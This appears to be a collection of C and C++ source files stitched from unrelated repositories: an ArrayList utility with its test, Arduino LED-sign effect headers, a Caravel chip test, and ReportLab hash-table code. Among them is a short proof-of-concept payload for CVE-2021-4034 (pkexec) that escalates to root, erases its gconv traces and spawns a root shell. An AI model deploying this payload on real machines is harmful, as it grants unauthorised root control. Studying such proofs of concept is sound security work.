<reponame>SicklySilverMoon/C-Utils #include "ArrayList.h" #include <stdio.h> #include <stdlib.h> #include <time.h> int compare(const void* a, const void* b); int main() { ArrayList* list = createArrayList(1); srand(time(NULL)); int a = rand(); printf("value of added first element: %d\n", a); addArrayListElement(list, &a); int b = rand(); addArrayListElement(list, &b); int c = rand(); addArrayListElement(list, &c); int d = rand(); addArrayListElement(list, &d); int e = rand(); addArrayListElement(list, &e); int f = rand(); addArrayListElement(list, &f); printf("\nUNSORTED LIST:\n\n"); for (size_t i = 0; i < getArrayListSize(list); i++) { printf("%d\n", *(int*)(getArrayListElement(list, i))); } sortArrayList(list, compare); printf("\nSORTED LIST:\n\n"); for (size_t i = 0; i < getArrayListSize(list); i++) { printf("%d\n", *(int*)(getArrayListElement(list, i))); } removeArrayListElement(list); printf("\nLAST ELEMENT REMOVED\n\n"); for (size_t i = 0; i < getArrayListSize(list); i++) { printf("%d\n", *(int*)(getArrayListElement(list, i))); } printf("\nindex of first added element is: %zu\n", (findInArrayList(list, &a, compare))); int testSet = 2; setArrayListElement(list, getArrayListSize(list)/2, &testSet); printf("\nMID ELEMENT SET TO 2\n\n"); for (size_t i = 0; i < getArrayListSize(list); i++) { printf("%d\n", *(int*)(getArrayListElement(list, i))); } freeArrayList(list); return 0; } int compare(const void* a, const void* b) { int first = **(int**)a; int second = **(int**)b; if (first > second) return 1; if (first < second) return -1; return 0; }
SicklySilverMoon/C-Utils
ArrayList/ArrayList.c
<filename>ArrayList/ArrayList.c #include "ArrayList.h" #include <stddef.h> #include <stdlib.h> #include <stdio.h> struct ArrayList { size_t size; size_t capacity; void** elements; }; static void expandArrayList(ArrayList* list); //size is final index +1, meaning add just does elements[size] = x, whereas remove would do elements[--size] = NULL /** * A function that creates and returns a pointer to an ArrayList for usage, returns NULL on error */ ArrayList* createArrayList(size_t capacity) { ArrayList* list = malloc(sizeof(ArrayList)); if (list == NULL) return NULL; list->size = 0; list->capacity = capacity; list->elements = malloc(sizeof(void*) * capacity); return list; } /** * Removes the ArrayList struct from memory, does not free the actual pointers themselves, that's up to the programmer to manage, returns -1 on error */ int freeArrayList(ArrayList* list) { if (list == NULL) return -1; free(list->elements); free(list); return 0; } /** * Returns the size of the list (defined as number of elements currently in the list), returns (size_t) -1 on error */ size_t getArrayListSize(const ArrayList* list) { if (list == NULL) return (size_t) -1; return list->size; } /** * Returns the capacity of the list (defined as number of elements that can be added to the list before it must expand), returns (size_t) -1 on error */ size_t getArrayListCapacity(const ArrayList* list) { if (list == NULL) return (size_t) -1; return list->capacity; } /** * Returns the element (a void pointer) at the given index, returns NULL on error */ void* getArrayListElement(ArrayList* list, size_t index) { if (list == NULL || index >= list->size || index < 0) return NULL; return list->elements[index]; } /** * Sets the element at the given index to a void pointer to the given element, returns -1 on error */ int setArrayListElement(ArrayList* list, size_t index, void* data) { if (list == NULL || index >= list->size || index < 0) return -1; list->elements[index] = data; return 0; } /** * Appends an item onto the end of the list, returns -1 on error */ int addArrayListElement(ArrayList* list, void* data) { if (list == NULL) return -1; if (list->size == list->capacity) expandArrayList(list); list->elements[list->size++] = data; return 0; } /** * Removes the final element of the list, returns -1 on error */ int removeArrayListElement(ArrayList* list) { if (list == NULL) return -1; if (list->size == 0) return -1; list->elements[--list->size] = NULL; return 0; } /** * Sorts the list via the qsort function, the passed function must cast from (void*) to (type**) before dereferencing, example compare function on ints: * * int compare(const void* a, const void* b) { * int first = **(int**)a; * int second = **(int**)b; * if (first > second) return 1; * if (first < second) return -1; * return 0; * } * * Returns -1 on error; */ int sortArrayList(ArrayList* list, int (*compar)(const void*, const void*)) { if (list == NULL) return -1; qsort(list->elements, list->size, sizeof(void*), compar); return 0; } /** * Finds the given element (passed as a void pointer) when the passed function returns zero, enabling the ability to use the same compare function for both sortArrayList and findInArrayList. * * Returns the index of the element if found, (size_t) -1 if no match exists or there was an error */ size_t findInArrayList(ArrayList* list, const void* toFind, int (*compar)(const void*, const void*)) { if (list == NULL) return -1; for (size_t i = 0; i < list->size; i++) { if (compar(&toFind, &(list->elements[i])) == 0) return i; } return (size_t) -1; } //internal methods static void expandArrayList(ArrayList* list) { if (list->capacity < 1) list->capacity = 2; else list->capacity *= 2; list->elements = realloc(list->elements, list->capacity * sizeof(void*)); }
SicklySilverMoon/C-Utils
ArrayList/ArrayList.h
#ifndef ARRAYLIST_H #define ARRAYLIST_H #include <stddef.h> typedef struct ArrayList ArrayList; ArrayList* createArrayList(size_t capacity); int freeArrayList(ArrayList* list); size_t getArrayListSize(const ArrayList* list); size_t getArrayListCapacity(const ArrayList* list); void* getArrayListElement(ArrayList* list, size_t index); int setArrayListElement(ArrayList* list, size_t index, void* data); int addArrayListElement(ArrayList* list, void* data); int removeArrayListElement(ArrayList* list); int sortArrayList(ArrayList* list, int (*compar)(const void*, const void*)); size_t findInArrayList(ArrayList* list, const void* toFind, int (*compar)(const void*, const void*)); #endif
bguest/Segment16Sign
lib/Segment.h
<filename>lib/Segment.h #ifndef SEGMENT_H #define SEGMENT_H #include <stdint.h> #include "Pixel.h" #define VERTICAL 0 #define DIAGONAL_RIGHT 1 #define HORIZONTAL 2 #define DIAGONAL_LEFT 3 #define ORIENTATION_COUNT 4 class Segment { public: Segment(); void init(Pixel pixels[], uint8_t start, uint8_t endPlus1); Pixel *pixels[4]; bool isOn; uint16_t pixelCount(); void toArray(CRGB array[], uint16_t &currIdx); void setColor(CHSV color); void setColor(uint8_t layer, CHSV color); void setHsv16(CHSV16 color); CHSV16 getHsv16(); void setHsv16(uint8_t layer, CHSV16 color); uint8_t index; char orientation(); private: uint8_t length; }; #endif
bguest/Segment16Sign
lib/Segment16.h
#ifndef SEGMENT_16_H #define SEGMENT_16_H #include "Arduino.h" #include <FastLED.h> #include "Sign.h" #include "Effects.h" #include "Keyboard.h" #include "Sound.h" #include "EffectData.h" #define SAVED_INPUT_COUNT 2 class Segment16 { public: Segment16(); void pushChar(uint32_t character); Sign sign; CRGB leds[LETTERS_COUNT*(NUM_4_PIXEL*4 + NUM_2_PIXEL*2)]; void init(); void run(); void show(); private: char input[SAVED_INPUT_COUNT]; bool decideInput(char input); bool isInsertMode; EffectData data; Sound sound; Keyboard keyboard; Effects effects; }; #endif
bguest/Segment16Sign
lib/effects/RandomScroll.h
#ifndef RANDOM_SCROLL_H #define RANDOM_SCROLL_H #include "Effect.h" class RandomScroll : public Effect{ public: RandomScroll(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); private: }; #endif
bguest/Segment16Sign
lib/effects/RandomOn.h
<reponame>bguest/Segment16Sign #ifndef RANDOM_ON_H #define RANDOM_ON_H #include "Effect.h" class RandomOn : public Effect{ public: RandomOn(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); void randomize(uint8_t ci); private: uint8_t onCount; bool shouldReset; bool turnOn; }; #endif
bguest/Segment16Sign
lib/Sound.h
#ifndef SOUND_H #define SOUND_H #include "EffectData.h" class Sound { public: void init(); void run(EffectData &data); private: unsigned long lastCollect; uint16_t volume; uint16_t freqAmp[7]; }; #endif
bguest/Segment16Sign
lib/effects/RainbowLetter.h
#ifndef RAINBOW_LETTER_H #define RAINBOW_LETTER_H #include "Effect.h" class RainbowLetter : public Effect{ public: RainbowLetter(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); void signWasUpdated(Sign &sign); void signWasUpdated(Sign &sign, uint8_t layer); void randomize(uint8_t ci); private: bool isStatic; bool changeOnBeat; int8_t hueStep[LAYER_COUNT]; uint16_t cycleTime[LAYER_COUNT]; int16_t hueA[LAYER_COUNT]; }; #endif
bguest/Segment16Sign
lib/effects/RainbowSegment.h
#ifndef RAINBOW_SEGMENT_H #define RAINBOW_SEGMENT_H #include "Effect.h" class RainbowSegment : public Effect{ public: RainbowSegment(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); void signWasUpdated(Sign &sign); void randomize(uint8_t ci); private: bool isStatic; bool changeOnBeat; int8_t hueStep[LAYER_COUNT]; int8_t beatStep[LAYER_COUNT]; }; #endif
bguest/Segment16Sign
lib/effects/BasicTyping.h
#ifndef BASIC_TYPING_H #define BASIC_TYPING_H #include "Effect.h" class BasicTyping : public Effect{ public: BasicTyping(); void run(Sign &sign, EffectData &data, uint8_t layer); }; #endif
bguest/Segment16Sign
lib/effects/WordsEnter.h
#ifndef WORDS_ENTER_H #define WORDS_ENTER_H #include "Effect.h" const uint8_t WORDS_COUNT = 20; class WordsEnter : public Effect{ public: WordsEnter(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushInsert(char character); bool pushChar(char character, uint8_t layer); void randomize(uint8_t ci); private: void pushBuffer(); void pushToBuffer(char character); void backspaceBuffer(); void softReset(); uint8_t numBeats; uint8_t beatIdx; uint8_t wordIdx; uint8_t wordsCount; uint8_t letterIdx; char buffer[LETTERS_COUNT]; char words[WORDS_COUNT][LETTERS_COUNT]; }; #endif
bguest/Segment16Sign
lib/effects/Clock.h
<reponame>bguest/Segment16Sign #ifndef CLOCK_H #define CLOCK_H #include "Effect.h" class Clock : public Effect{ public: Clock(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); private: bool isClock; //As Apposed to Timer bool is24Hour; uint16_t stepTime; int16_t minutesOffset; int16_t hoursOffset; unsigned long lastUpdated; int16_t timeAmpMinutes; uint16_t dilationPeriodMinutes; }; #endif
bguest/Segment16Sign
lib/Color16.h
<gh_stars>0 #ifndef COLOR_16_H #define COLOR_16_H // Shamelessly mimiced from fastled.io struct CHSV16 { union { struct { union { uint16_t hue; uint16_t h; }; union { uint16_t saturation; uint16_t sat; uint16_t s; }; union { uint16_t value; uint16_t val; uint16_t v; }; }; uint16_t raw[3]; }; // default values are UNITIALIZED inline CHSV16() __attribute__((always_inline)) { } // allow construction from H, S, V inline CHSV16( uint16_t ih, uint16_t is, uint16_t iv) __attribute__((always_inline)) : h(ih), s(is), v(iv) { } // allow copy construction inline CHSV16(const CHSV16& rhs) __attribute__((always_inline)) { h = rhs.h; s = rhs.s; v = rhs.v; } inline CHSV16( const CHSV& rhs) __attribute__((always_inline)) { h = rhs.h << 8; s = rhs.s << 8; v = rhs.v << 8; } inline CHSV16& operator= (const CHSV16& rhs) __attribute__((always_inline)) { h = rhs.h; s = rhs.s; v = rhs.v; return *this; } inline CHSV16& setHSV(uint16_t ih, uint16_t is, uint16_t iv) __attribute__((always_inline)) { h = ih; s = is; v = iv; return *this; } }; #endif
bguest/Segment16Sign
lib/Pixel.h
<reponame>bguest/Segment16Sign #ifndef PIXEL_H #define PIXEL_H #include "FastLED.h" #include "Color16.h" class Pixel { public: Pixel(); void setColor(CHSV color); void setHue16(uint16_t hue); void addHue16(int16_t deltaHue); uint16_t getHue16(); CHSV getColor(); CHSV16 getHsv16(); void setHsv16(CHSV16 clr); uint8_t x(); uint8_t y(); void setXY(uint8_t x, uint8_t y); private: CHSV16 hsv16; uint8_t u[2]; }; #endif
bguest/Segment16Sign
lib/effects/Seizure.h
<reponame>bguest/Segment16Sign #ifndef SEIZURE_H #define SEIZURE_H #include "Effect.h" #define SEIZURE_COLOR_COUNT 4 class Seizure : public Effect{ public: Seizure(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); void randomize(uint8_t ci); private: CHSV colors[SEIZURE_COLOR_COUNT][LAYER_COUNT]; uint8_t editIdx; uint8_t colorIdx[LAYER_COUNT]; uint8_t flashPerBeat[LAYER_COUNT]; unsigned long lastChange[LAYER_COUNT]; }; #endif
bguest/Segment16Sign
lib/Letter.h
#ifndef LETTER_H #define LETTER_H #include <stdint.h> #include "Converter.h" #include "Segment.h" /**Represents a sixteen segment single letter, it looks like this # 0 1 2 3 4 5 6 # # --- 0 --- --- 1 --- 0 # |\ | /| # | \ | / | 1 # | \ | / | # | \ | / | 2 # 7 8 11 12 2 # | \ | / | 3 # | \ | / | # | \ | / | 4 # | \|/ | # -- 14 --- --- 15 -- 5 # | /|\ | # | / | \ | 6 # | / | \ | # | / | \ | 7 # 6 13 10 9 3 # | / | \ | 8 # | / | \ | # | / | \ | 9 # |/ | \| # --- 5 --- --- 4 --- 10 # # NOTE: These are the segment numbers */ #define NUM_2_PIXEL 10 #define NUM_4_PIXEL 6 #define LETTER_PIXEL_WIDTH 8 class Letter { public: Letter(); void init(uint8_t letterIdx, uint8_t lengths[16]); Segment* segment(uint8_t i); Pixel* pixel(uint8_t i); uint16_t pixelCount(); void toArray(CRGB array[], uint16_t &currIdx); void setChar(char character); void setLayer(uint8_t layer, bool isOn); void setColor(uint8_t layer, CHSV color); CHSV16 getHsv16(uint8_t layer); void setHsv16(uint8_t layer, CHSV16 color); char currentChar; private: uint8_t letterIdx; void setPixelLocations(); Pixel pixels[2*NUM_2_PIXEL+4*NUM_4_PIXEL]; Segment segments[16]; }; #endif
bguest/Segment16Sign
lib/Keyboard.h
#ifndef KEYBOARD_H #define KEYBOARD_H #include "Arduino.h" class Keyboard { public: Keyboard(); void init(); void run(); uint32_t data; bool isAvailable; }; #endif
bguest/Segment16Sign
lib/effects/RandomLetters.h
#ifndef RANDOM_LETTERS_H #define RANDOM_LETTERS_H class RandomLetters : public Effect{ public: RandomLetters(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); private: }; #endif
bguest/Segment16Sign
lib/effects/SolidColor.h
#ifndef SOLID_COLOR_H #define SOLID_COLOR_H #include "Effect.h" class SolidColor : public Effect{ public: SolidColor(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); void randomize(uint8_t ci); private: }; #endif
bguest/Segment16Sign
lib/effects/WavePixels.h
#ifndef WAVE_SEGMENT_H #define WAVE_SEGMENT_H #include "Effect.h" class WavePixels : public Effect{ public: WavePixels(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); void invertColors(); void randomize(uint8_t ci); private: uint16_t cycleTime[LAYER_COUNT]; int16_t hueA[LAYER_COUNT]; }; #endif
bguest/Segment16Sign
lib/effects/WaveXY.h
#ifndef WAVE_XY_H #define WAVE_XY_H #include "Effect.h" class WaveXY : public Effect{ public: WaveXY(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); void randomize(uint8_t ci); void invertColors(); private: uint8_t freq[2][LAYER_COUNT]; int8_t step[2][LAYER_COUNT]; uint16_t offset[2][LAYER_COUNT]; bool isWaveValue; void calculate(Pixel &pixel, uint8_t layer); }; #endif
bguest/Segment16Sign
lib/effects/Scrolling.h
#ifndef SCROLLING_H #define SCROLLING_H #include "Effect.h" const uint8_t SCROLL_LENGTH = 100; class Scrolling : public Effect { public: Scrolling(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushInsert(char character); bool pushChar(char character, uint8_t layer); void randomize(uint8_t ci); private: void pushToBuffer(char character); void shiftLeft(); void backspaceBuffer(); void softReset(); void setRandomLetter(char word[4]); uint8_t numBeats; uint8_t beatIdx; uint8_t startIdx; uint8_t charCount; char buffer[SCROLL_LENGTH]; int8_t randomLetterIdx; }; #endif
bguest/Segment16Sign
lib/EffectData.h
<reponame>bguest/Segment16Sign<gh_stars>0 #ifndef EFFECT_DATA_H #define EFFECT_DATA_H #define FREQ_COUNT 7 #include "Arduino.h" const uint8_t UINT8_MAX_2 = UINT8_MAX/2; struct EffectData{ uint16_t tempo; uint8_t rolloff; uint16_t volume; uint16_t maxVolume; uint16_t freqAmp[FREQ_COUNT]; uint16_t maxFreqAmp[FREQ_COUNT]; }; #endif
bguest/Segment16Sign
lib/effects/FadedXY.h
#ifndef FADED_XY_H #define FADED_XY_H #include "Effect.h" #define FADED_XY_POINT_COUNT 4 class FadedXY : public Effect{ public: FadedXY(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); void randomize(uint8_t ci); void invertColors(); private: uint16_t hueOffset[LAYER_COUNT]; int16_t hueOffsetSpeed[LAYER_COUNT]; uint16_t hue[LAYER_COUNT][FADED_XY_POINT_COUNT]; int16_t hueSpeed[LAYER_COUNT][FADED_XY_POINT_COUNT]; void interpolate(Pixel &pixel, uint8_t layer); }; #endif
bguest/Segment16Sign
lib/effects/RandomFade.h
<reponame>bguest/Segment16Sign #ifndef RANDOM_FADE_H #define RANDOM_FADE_H #include "Effect.h" class RandomFade : public Effect{ public: RandomFade(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); void signWasUpdated(Sign &sign); void randomize(uint8_t ci); private: int16_t fadeSpeed[LAYER_COUNT]; uint16_t segHue[16*LETTERS_COUNT]; int16_t segSpeed[16*LETTERS_COUNT]; uint16_t fadeTime; int16_t incRandomSpeed(bool isPositive, uint8_t layer); void randomizeSpeeds(); void recalculateSpeeds(Sign &sign); }; #endif
bguest/Segment16Sign
lib/effects/FadeTo.h
#ifndef FADE_TO_H #define FADE_TO_H #include "Effect.h" class FadeTo : public Effect{ public: FadeTo(); void reset(); void run(Sign &sign, EffectData &data, uint8_t layer); bool pushChar(char character, uint8_t layer); void randomize(uint8_t ci); private: uint16_t fadeTime; uint16_t segHue[16*LETTERS_COUNT]; }; #endif
mdzakirhussain/try1
verilog/dv/la_test1/la_test1.c
/* * SPDX-FileCopyrightText: 2020 Efabless Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * SPDX-License-Identifier: Apache-2.0 */ // This include is relative to $CARAVEL_PATH (see Makefile) #include "verilog/dv/caravel/defs.h" #include "verilog/dv/caravel/stub.c" // -------------------------------------------------------- /* MPRJ Logic Analyzer Test: - Observes counter value through LA probes [31:0] - Sets counter initial value through LA probes [63:32] - Flags when counter value exceeds 500 through the management SoC gpio - Outputs message to the UART when the test concludes successfuly */ void main() { /* Set up the housekeeping SPI to be connected internally so */ /* that external pin changes don't affect it. */ reg_spimaster_config = 0xa002; // Enable, prescaler = 2, // connect to housekeeping SPI // Connect the housekeeping SPI to the SPI master // so that the CSB line is not left floating. This allows // all of the GPIO pins to be used for user functions. // The upper GPIO pins are configured to be output // and accessble to the management SoC. // Used to flad the start/end of a test // The lower GPIO pins are configured to be output // and accessible to the user project. They show // the project count value, although this test is // designed to read the project count through the // logic analyzer probes. // I/O 6 is configured for the UART Tx line reg_mprj_io_31 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_30 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_29 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_28 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_27 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_26 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_25 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_24 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_23 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_22 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_21 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_20 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_19 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_18 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_17 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_16 = GPIO_MODE_MGMT_STD_OUTPUT; reg_mprj_io_15 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_14 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_13 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_12 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_11 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_10 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_9 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_8 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_7 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_5 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_4 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_3 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_2 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_1 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_0 = GPIO_MODE_USER_STD_OUTPUT; reg_mprj_io_6 = GPIO_MODE_MGMT_STD_OUTPUT; // Set UART clock to 64 kbaud (enable before I/O configuration) reg_uart_clkdiv = 625; reg_uart_enable = 1; /* Apply configuration */ reg_mprj_xfer = 1; while (reg_mprj_xfer == 1); // Configure LA probes [31:0], [127:64] as inputs to the cpu // Configure LA probes [63:32] as outputs from the cpu reg_la0_oenb = reg_la0_iena = 0xFFFFFFFF; // [31:0] reg_la1_oenb = reg_la1_iena = 0x00000000; // [63:32] reg_la2_oenb = reg_la2_iena = 0xFFFFFFFF; // [95:64] reg_la3_oenb = reg_la3_iena = 0xFFFFFFFF; // [127:96] // Flag start of the test reg_mprj_datal = 0xAB400000; // Set Counter value to zero through LA probes [63:32] reg_la1_data = 0x00000000; // Configure LA probes from [63:32] as inputs to disable counter write reg_la1_oenb = reg_la1_iena = 0xFFFFFFFF; while (1) { if (reg_la0_data > 0x1F4) { reg_mprj_datal = 0xAB410000; break; } } print("\n"); print("Monitor: Test 2 Passed\n\n"); // Makes simulation very long! reg_mprj_datal = 0xAB510000; }
szkzn/poc-cve-2021-4034
payload/payload.c
<reponame>szkzn/poc-cve-2021-4034 #include <unistd.h> #include <stdlib.h> #include <stdio.h> // build with gcc payload.c -o payload.so -shared -fPIC void gconv() {} void gconv_init() { setuid(0); setgid(0); setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", 1); char* argv[] = { "/bin/sh", NULL }; char* envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; system("/usr/bin/rm -r gconv"); system("/usr/bin/rm -r \"GCONV_PATH=.\""); fprintf(stdout, "Spawning root shell!\n"); if (execve("/bin/sh", argv, envp) == -1) perror("Could not execve :( "); }
Dish1306/reportlab-mirror
src/rl_addons/renderPM/gt1/gt1-namecontext.c
/* A module for a simple "name context", i.e. lisp-style atoms */ #include "gt1-misc.h" #include "gt1-namecontext.h" #if defined(_WIN32) || defined(macintosh) || defined(__APPLE__) # include <string.h> #endif /* btw, I do not know who wrote the following comment. I modified this file somewhat from gimp's app/procedural_db.c hash function. */ /* I have seen something like that in Perl/TK. --MW */ static unsigned int gt1_name_context_hash_func (const char *string) { unsigned int result; int c; int i; /* * I tried a zillion different hash functions and asked many other * people for advice. Many people had their own favorite functions, * all different, but no-one had much idea why they were good ones. * I chose the one below (multiply by 9 and add new character) * because of the following reasons: * * 1. Multiplying by 10 is perfect for keys that are decimal strings, * and multiplying by 9 is just about as good. * 2. Times-9 is (shift-left-3) plus (old). This means that each * character's bits hang around in the low-order bits of the * hash value for ever, plus they spread fairly rapidly up to * the high-order bits to fill out the hash value. This seems * works well both for decimal and non-decimal strings. * * tclHash.c -- * * Implementation of in-memory hash tables for Tcl and Tcl-based * applications. * * Copyright (c) 1991-1993 The Regents of the University of California. * Copyright (c) 1994 Sun Microsystems, Inc. */ result = 0; for (i = 0; (c = ((const unsigned char *)string)[i]) != '\0'; i++) result += (result << 3) + c; return result; } static unsigned int gt1_name_context_hash_func_size (const char *string, int size) { unsigned int result; int i; result = 0; for (i = 0; i < size; i++) result += (result << 3) + ((const unsigned char *)string)[i]; return result; } Gt1NameContext * gt1_name_context_new (void) { Gt1NameContext *nc; int i; nc = gt1_new (Gt1NameContext, 1); nc->num_entries = 0; nc->table_size = 16; nc->table = gt1_new (Gt1NameContextHashEntry, nc->table_size); for (i = 0; i < nc->table_size; i++) nc->table[i].name = NULL; return nc; } void gt1_name_context_free (Gt1NameContext *nc) { int i; for (i = 0; i < nc->table_size; i++) if (nc->table[i].name != NULL) gt1_free (nc->table[i].name); gt1_free (nc->table); gt1_free (nc); } static char * gt1_name_context_strdup (const char *s) { int len; char *new; len = strlen (s); new = gt1_new (char, len + 1); memcpy (new, s, len); new[len] = '\0'; return new; } static gt1_boolean gt1_name_context_streq_size (const char *s1, const char *s2, int size2) { int i; /* could rewrite for 32 bits at a time, but I wouldn't worry */ for (i = 0; i < size2; i++) if (s1[i] != s2[i]) return gt1_false; return s1[i] == 0; } static char * gt1_name_context_strdup_size (const char *s, int size) { char *new; new = gt1_new (char, size + 1); memcpy (new, s, size); new[size] = '\0'; return new; } /* double the size of the hash table, rehashing as needed */ static void gt1_name_context_double (Gt1NameContext *nc) { int i, j; int oldsize, newmask; Gt1NameContextHashEntry *old_table, *new_table; oldsize = nc->table_size; old_table = nc->table; nc->table_size = oldsize << 1; newmask = nc->table_size - 1; new_table = gt1_new (Gt1NameContextHashEntry, nc->table_size); for (j = 0; j < nc->table_size; j++) new_table[j].name = NULL; for (i = 0; i < oldsize; i++) { if (old_table[i].name) { for (j = gt1_name_context_hash_func(old_table[i].name); new_table[j & newmask].name; j++); new_table[j & newmask] = old_table[i]; } } gt1_free (old_table); nc->table = new_table; } /* Return the unique (to this name context) Gt1NameId for the given string, allocating a new one if necessary. */ Gt1NameId gt1_name_context_intern (Gt1NameContext *nc, const char *name) { int i; int mask; mask = nc->table_size - 1; for (i = gt1_name_context_hash_func (name); nc->table[i & mask].name; i++) if (!strcmp (nc->table[i & mask].name, name)) return nc->table[i & mask].Gt1NameId; /* not found, allocate a new one */ if (nc->num_entries >= nc->table_size >> 1) { gt1_name_context_double (nc); mask = nc->table_size - 1; for (i = gt1_name_context_hash_func (name); nc->table[i & mask].name; i++); } i &= mask; nc->table[i].name = gt1_name_context_strdup (name); nc->table[i].Gt1NameId = nc->num_entries; return nc->num_entries++; } /* Return the unique (to this name context) Gt1NameId for the given string, return GT1_UNKNOWN if not found*/ Gt1NameId gt1_name_context_interned (Gt1NameContext *nc, const char *name) { int i; int mask; mask = nc->table_size - 1; for (i = gt1_name_context_hash_func (name); nc->table[i & mask].name; i++) if (!strcmp (nc->table[i & mask].name, name)) return nc->table[i & mask].Gt1NameId; return GT1_UNKNOWN; } /* Return the unique (to this name context) Gt1NameId for the given string, allocating a new one if necessary. The string is not necessarily null-terminated; the size is given explicitly. */ Gt1NameId gt1_name_context_intern_size (Gt1NameContext *nc, const char *name, int size) { int i; int mask; mask = nc->table_size - 1; for (i = gt1_name_context_hash_func_size (name, size); nc->table[i & mask].name; i++) if (gt1_name_context_streq_size (nc->table[i & mask].name, name, size)) return nc->table[i & mask].Gt1NameId; /* not found, allocate a new one */ if (nc->num_entries >= nc->table_size >> 1) { gt1_name_context_double (nc); mask = nc->table_size - 1; for (i = gt1_name_context_hash_func_size (name, size); nc->table[i & mask].name; i++); } i &= mask; nc->table[i].name = gt1_name_context_strdup_size (name, size); nc->table[i].Gt1NameId = nc->num_entries; return nc->num_entries++; } /* This one is slow - it's intended for debugging only */ char * gt1_name_context_string (Gt1NameContext *nc, Gt1NameId Gt1NameId) { int j; for (j = 0; j < nc->table_size; j++) if (nc->table[j].name && nc->table[j].Gt1NameId == Gt1NameId) return nc->table[j].name; return NULL; }
Dish1306/reportlab-mirror
src/rl_addons/renderPM/gt1/gt1-misc.h
/* What allocation functions are we going to use? */ #ifndef __GT1_MISC_H__ #define __GT1_MISC_H__ #include <stdlib.h> /* for malloc, etc. */ #if defined(macintosh) || defined(__APPLE__) || defined (__linux__) || defined(__FreeBSD_kernel__) || defined(__GNU__) # include <string.h> /* for memcpy() */ #endif #define gt1_alloc malloc #define gt1_free free #define gt1_realloc realloc /* These aren't, strictly speaking, configuration macros, but they're damn handy to have around, and may be worth playing with for debugging. */ #define gt1_new(type, n) ((type *)gt1_alloc ((n) * sizeof(type))) #define gt1_renew(p, type, n) ((type *)gt1_realloc (p, (n) * sizeof(type))) /* This one must be used carefully - in particular, p and max should be variables. They can also be pstruct->el lvalues. */ #define gt1_double(p, type, max) p = gt1_renew (p, type, max <<= 1) typedef int gt1_boolean; #define gt1_false 0 #define gt1_true 1 typedef unsigned char uchar; /* define pi */ #ifndef M_PI #define M_PI 3.14159265358979323846 #endif /* M_PI */ void gt1_die (const char *fmt, ...); #endif /* __GT1_MISC_H__ */
UnofficialJuliaMirror/SDE.jl-0d6d677f-8475-5ebf-bbf8-769304748c2b
deps/sigma.c
